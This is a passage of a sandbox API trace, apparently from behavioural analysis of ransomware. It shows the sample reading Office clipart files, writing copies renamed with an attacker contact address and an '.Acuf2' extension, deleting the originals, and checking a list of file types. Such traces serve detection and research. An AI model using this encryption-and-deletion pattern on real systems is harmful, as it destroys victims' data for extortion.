	[0259.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.931] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.932] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.932] GetLastError () returned 0x0
	[0259.932] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x8d6, lpOverlapped=0x0) returned 1
	[0259.971] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x8e0, lpOverlapped=0x0) returned 1
	[0259.971] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.971] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0259.971] SetEndOfFile (hFile=0x274) returned 1
	[0259.971] CloseHandle (hObject=0x274) returned 1
	[0259.972] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.972] SetEndOfFile (hFile=0x33c) returned 1
	[0259.973] CloseHandle (hObject=0x33c) returned 1
	[0259.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1
	[0260.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.007] lstrlenW (lpString=".doc") returned 4
	[0260.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.007] lstrlenW (lpString=".docx") returned 5
	[0260.007] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0260.007] lstrlenW (lpString=".pdf") returned 4
	[0260.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.007] lstrlenW (lpString=".xls") returned 4
	[0260.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.007] lstrlenW (lpString=".xlsx") returned 5
	[0260.007] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0260.007] lstrlenW (lpString=".ppt") returned 4
	[0260.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.007] lstrlenW (lpString=".zip") returned 4
	[0260.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.007] lstrlenW (lpString=".rar") returned 4
	[0260.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.007] lstrlenW (lpString=".bz2") returned 4
	[0260.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.008] lstrlenW (lpString=".7z") returned 3
	[0260.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.008] lstrlenW (lpString=".dbf") returned 4
	[0260.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.008] lstrlenW (lpString=".1cd") returned 4
	[0260.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.008] lstrlenW (lpString=".jpg") returned 4
	[0260.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.008] lstrlenW (lpString=".doc") returned 4
	[0260.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.008] lstrlenW (lpString=".docx") returned 5
	[0260.008] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0260.008] lstrlenW (lpString=".pdf") returned 4
	[0260.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.008] lstrlenW (lpString=".xls") returned 4
	[0260.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.008] lstrlenW (lpString=".xlsx") returned 5
	[0260.008] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0260.008] lstrlenW (lpString=".ppt") returned 4
	[0260.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.008] lstrlenW (lpString=".zip") returned 4
	[0260.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.008] lstrlenW (lpString=".rar") returned 4
	[0260.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.009] lstrlenW (lpString=".bz2") returned 4
	[0260.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.009] lstrlenW (lpString=".7z") returned 3
	[0260.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.009] lstrlenW (lpString=".dbf") returned 4
	[0260.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.009] lstrlenW (lpString=".1cd") returned 4
	[0260.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59
	[0260.009] lstrlenW (lpString=".jpg") returned 4
	[0260.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.009] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.009] lstrlenW (lpString="DD00297_.WMF") returned 12
	[0260.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.012] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=40030) returned 1
	[0260.012] CloseHandle (hObject=0x354) returned 1
	[0260.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20
	[0260.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.198] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.198] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0260.690] GetLastError () returned 0x0
	[0260.700] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x9c5e, lpOverlapped=0x0) returned 1
	[0260.704] WriteFile (in: hFile=0x338, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x9c60, lpOverlapped=0x0) returned 1
	[0260.706] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.706] WriteFile (in: hFile=0x338, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.706] SetEndOfFile (hFile=0x338) returned 1
	[0260.706] CloseHandle (hObject=0x338) returned 1
	[0260.706] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.706] SetEndOfFile (hFile=0x32c) returned 1
	[0260.708] CloseHandle (hObject=0x32c) returned 1
	[0260.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 1
	[0260.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.710] lstrlenW (lpString=".doc") returned 4
	[0260.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.710] lstrlenW (lpString=".docx") returned 5
	[0260.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.710] lstrlenW (lpString=".pdf") returned 4
	[0260.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.710] lstrlenW (lpString=".xls") returned 4
	[0260.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.710] lstrlenW (lpString=".xlsx") returned 5
	[0260.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.710] lstrlenW (lpString=".ppt") returned 4
	[0260.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.710] lstrlenW (lpString=".zip") returned 4
	[0260.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.710] lstrlenW (lpString=".rar") returned 4
	[0260.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.710] lstrlenW (lpString=".bz2") returned 4
	[0260.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.711] lstrlenW (lpString=".7z") returned 3
	[0260.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.711] lstrlenW (lpString=".dbf") returned 4
	[0260.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.711] lstrlenW (lpString=".1cd") returned 4
	[0260.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.711] lstrlenW (lpString=".jpg") returned 4
	[0260.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.711] lstrlenW (lpString=".doc") returned 4
	[0260.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.711] lstrlenW (lpString=".docx") returned 5
	[0260.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.711] lstrlenW (lpString=".pdf") returned 4
	[0260.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.711] lstrlenW (lpString=".xls") returned 4
	[0260.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.711] lstrlenW (lpString=".xlsx") returned 5
	[0260.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.711] lstrlenW (lpString=".ppt") returned 4
	[0260.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.711] lstrlenW (lpString=".zip") returned 4
	[0260.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.711] lstrlenW (lpString=".rar") returned 4
	[0260.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.712] lstrlenW (lpString=".bz2") returned 4
	[0260.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.712] lstrlenW (lpString=".7z") returned 3
	[0260.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.712] lstrlenW (lpString=".dbf") returned 4
	[0260.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.712] lstrlenW (lpString=".1cd") returned 4
	[0260.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63
	[0260.712] lstrlenW (lpString=".jpg") returned 4
	[0260.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.712] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.712] lstrlenW (lpString="DD01139_.WMF") returned 12
	[0260.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.713] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3632) returned 1
	[0260.713] CloseHandle (hObject=0x32c) returned 1
	[0260.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20
	[0260.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.713] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.713] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0260.714] GetLastError () returned 0x0
	[0260.714] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xe30, lpOverlapped=0x0) returned 1
	[0260.715] WriteFile (in: hFile=0x338, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xe40, lpOverlapped=0x0) returned 1
	[0260.716] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.716] WriteFile (in: hFile=0x338, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.716] SetEndOfFile (hFile=0x338) returned 1
	[0260.716] CloseHandle (hObject=0x338) returned 1
	[0260.716] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.716] SetEndOfFile (hFile=0x32c) returned 1
	[0260.718] CloseHandle (hObject=0x32c) returned 1
	[0260.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 1
	[0260.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.719] lstrlenW (lpString=".doc") returned 4
	[0260.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.719] lstrlenW (lpString=".docx") returned 5
	[0260.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.719] lstrlenW (lpString=".pdf") returned 4
	[0260.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.719] lstrlenW (lpString=".xls") returned 4
	[0260.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.719] lstrlenW (lpString=".xlsx") returned 5
	[0260.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.719] lstrlenW (lpString=".ppt") returned 4
	[0260.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.719] lstrlenW (lpString=".zip") returned 4
	[0260.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.719] lstrlenW (lpString=".rar") returned 4
	[0260.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.719] lstrlenW (lpString=".bz2") returned 4
	[0260.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.719] lstrlenW (lpString=".7z") returned 3
	[0260.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.720] lstrlenW (lpString=".dbf") returned 4
	[0260.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.720] lstrlenW (lpString=".1cd") returned 4
	[0260.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.720] lstrlenW (lpString=".jpg") returned 4
	[0260.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.720] lstrlenW (lpString=".doc") returned 4
	[0260.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.720] lstrlenW (lpString=".docx") returned 5
	[0260.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.720] lstrlenW (lpString=".pdf") returned 4
	[0260.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.720] lstrlenW (lpString=".xls") returned 4
	[0260.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.720] lstrlenW (lpString=".xlsx") returned 5
	[0260.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.720] lstrlenW (lpString=".ppt") returned 4
	[0260.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.720] lstrlenW (lpString=".zip") returned 4
	[0260.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.720] lstrlenW (lpString=".rar") returned 4
	[0260.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.720] lstrlenW (lpString=".bz2") returned 4
	[0260.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.720] lstrlenW (lpString=".7z") returned 3
	[0260.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.721] lstrlenW (lpString=".dbf") returned 4
	[0260.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.721] lstrlenW (lpString=".1cd") returned 4
	[0260.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63
	[0260.721] lstrlenW (lpString=".jpg") returned 4
	[0260.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.721] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.721] lstrlenW (lpString="DD01140_.WMF") returned 12
	[0260.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0260.722] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3616) returned 1
	[0260.722] CloseHandle (hObject=0x32c) returned 1
	[0260.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20
